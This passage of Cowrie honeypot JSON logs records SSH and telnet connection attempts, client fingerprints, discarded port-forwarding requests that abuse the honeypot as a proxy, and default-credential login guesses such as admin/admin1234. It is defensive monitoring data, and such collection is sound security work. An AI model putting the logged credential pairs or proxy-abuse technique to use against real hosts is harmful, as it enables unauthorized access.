Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=THkkRUtTUFh4RlVidSRMew%3D%3DI%2F4r7i5IWIfw%2FFJzqpw0Lu%2FLvf6RhUKolp9tRCqhjMiEOKzNaSoKam6sEwPULgn%2FsYdtMSVOYdnrr0UORwTstqCQ8rqeoVnKExipxBo7om4rGFTMyNPfIxUC97LbCqoo7s0Ca%2FXwl2C3bbe97ORCKzKoDOKaz2X8nAEElgPKMqPd2pHcEUTemvxT1pplatm94J9X7SiHpW592nLUvZv0pdeHsBo%2BCX13rik8DIYZK55Q2sU0yHz8NGvIvtNWuWTWjYa%2B6b0V%2BAscbeyqG8M7LqIBVx6tJm%2BBsZE7NJYBXleftV8Cf6FQ67RM2jL%2BusNTfaQ3diqKaT5TjhpA7GVW8ZJyH2bwDiLXCrhdREdPSiJjO8XK7W5Sy8uudhD5W0JNbGS7Hpwzy2sz33Alv1INDUCcNpc%2FktWpvYSquV8mo%2BFMaa90k9RNSkMmslKE2RJ93AqyyFd8WqVyj%2B54OQHOz9oSqtrWXY0w5hwA7slIFdQam79qpIhqieKF9UsDLmFu68cxad3ucDMPmgk2N1zPIKc2nVp3PJj4Fm%2FtrjCYVmbWm9YIAVRFsn78OgWc47og%2Fm51nxb9of6QPMBVggQ5LQqf79BJSj4vdQPW1I9NWbyZrLWIcviWuUs7pf8w%2B6xr80rIpE4n7fXMb2bkQMR0WHxLFFgewhD%2FA5XwO%2BZcj%2Fye9ddLFE9%2BLhwFPmBCn%2Fk7OhZ2S6RDBPreYbR51yy3RbYyzT4up5jzViR6zemnf%2F0JLd7FWu0EakteJlZizkBEhYDwk14z2xhj%2FacM%2Bv6CBLuieyl4ZdDi6ZeIAYaonqShl1nZWsH7Z%2FqnXx8k5HT5IHsBL38LJAjihM5h63ng9RTGOcoTgQG6hOlz1dKRiMsw6URvcLmq%2Bo5S1uCW%2B%2Fe%2FjBPoqmH%2B4SVUnB4uSNAzU3FboHAYXitPQQNlbQK4y084zL6eMovfKOj622Bwybj49voB2s%2BFWa3LzZjc8gy6Vz5tR9EMwMO%2BAuMQeTx%2B70xNim1YsOWtN4gTNPXjI80pu5NNAaD59yfC7Cyn6RBFP%2BIAXnJ63RjKYiWGcOL2Yj0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.972570Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.984825Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&<\\x82~\\x95\\xb9\\xc7\\xc9\\xfc*\\xd4\\xf4\\xb8j{$\\xefm\\x8f\\x9e\\x17\\xd4 \\x1d\\x16wrV\\xfcy\\xa3\\xa4 3\\xa2}\\xf29RM\\x8a\\x90\\xd5r;\\xe6\\xb5-)\\xcfzm\\x14\\xd7\\xcd\\x18\\xd3\\xab\\xa2\\x91\\xc5\\xfa\\xd8\\xb6\\x1f\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x99\\xc9\\x01\\xe2\\x94\\xb5\\x03\\xaaWt\\x18O\\x82-\\xc3\\xdcv \\xaalN\\xd4\\xe1\\xde\\xfa\\x16\\x8c6\\xf9g\\xb6x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&<\\x82~\\x95\\xb9\\xc7\\xc9\\xfc*\\xd4\\xf4\\xb8j{$\\xefm\\x8f\\x9e\\x17\\xd4 \\x1d\\x16wrV\\xfcy\\xa3\\xa4 3\\xa2}\\xf29RM\\x8a\\x90\\xd5r;\\xe6\\xb5-)\\xcfzm\\x14\\xd7\\xcd\\x18\\xd3\\xab\\xa2\\x91\\xc5\\xfa\\xd8\\xb6\\x1f\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x99\\xc9\\x01\\xe2\\x94\\xb5\\x03\\xaaWt\\x18O\\x82-\\xc3\\xdcv \\xaalN\\xd4\\xe1\\xde\\xfa\\x16\\x8c6\\xf9g\\xb6x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.990100Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:02.231172Z","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:02.465244Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]%\\x1dM\\r\\xa2\\xa1Q\\xda\\x97)7\\xecd\\x1c\\xac\\xe1\\xcfPl\\x8d\\x87I\\xa3GF\\xc0\\xbc.\\xe0p+ \\xbb\\xec\\x84\\x9di\\xc5CB]\\xf2Qk\\xbd\\xb5\\xc4\\x17\\x9b\\xf2m\\x1b8v\\xe4K\\xb7\\xbfb\\xce\\xd3\\xce[\\xfb\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04sAI\\xaa\\xfb\\xf5\\x98\\xcd\\\\\\xba\\x17cPh\\xc3\\xd9\\xfb\\x01\\xab\\x7f\\x0c\\x1br\\x1e\\xdc\\xcc\\x0f5F\\x08z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]%\\x1dM\\r\\xa2\\xa1Q\\xda\\x97)7\\xecd\\x1c\\xac\\xe1\\xcfPl\\x8d\\x87I\\xa3GF\\xc0\\xbc.\\xe0p+ \\xbb\\xec\\x84\\x9di\\xc5CB]\\xf2Qk\\xbd\\xb5\\xc4\\x17\\x9b\\xf2m\\x1b8v\\xe4K\\xb7\\xbfb\\xce\\xd3\\xce[\\xfb\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04sAI\\xaa\\xfb\\xf5\\x98\\xcd\\\\\\xba\\x17cPh\\xc3\\xd9\\xfb\\x01\\xab\\x7f\\x0c\\x1br\\x1e\\xdc\\xcc\\x0f5F\\x08z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:02.468446Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:04.461246Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43508,"dst_ip":"159.203.135.109","dst_port":23,"session":"6773ba56b004","protocol":"telnet","message":"New connection: 128.199.8.54:43508 (159.203.135.109:23) [session: 6773ba56b004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:10.092776Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":58361,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2501a34bb5","protocol":"ssh","message":"New connection: 23.175.50.52:58361 (10.17.0.5:22) [session: 4b2501a34bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:11.797150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:11.801832Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:12.098401Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:14.680231Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":52404,"dst_ip":"159.203.135.109","dst_port":22,"session":"2043fa4ff346","protocol":"ssh","message":"New connection: 41.90.100.147:52404 (159.203.135.109:22) [session: 2043fa4ff346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:15.852326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:15.857249Z","src_ip":"41.90.100.147","session":"2043fa4ff346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:16.083546Z","src_ip":"41.90.100.147","session":"2043fa4ff346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":63448,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4683215b34","protocol":"ssh","message":"New connection: 38.46.222.137:63448 (10.17.0.5:22) [session: 2b4683215b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:16.421194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:16.425841Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:16.499080Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dima","password":"password","message":"login attempt [dima/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:16.978559Z","src_ip":"41.90.100.147","session":"2043fa4ff346","protocol":"ssh"}
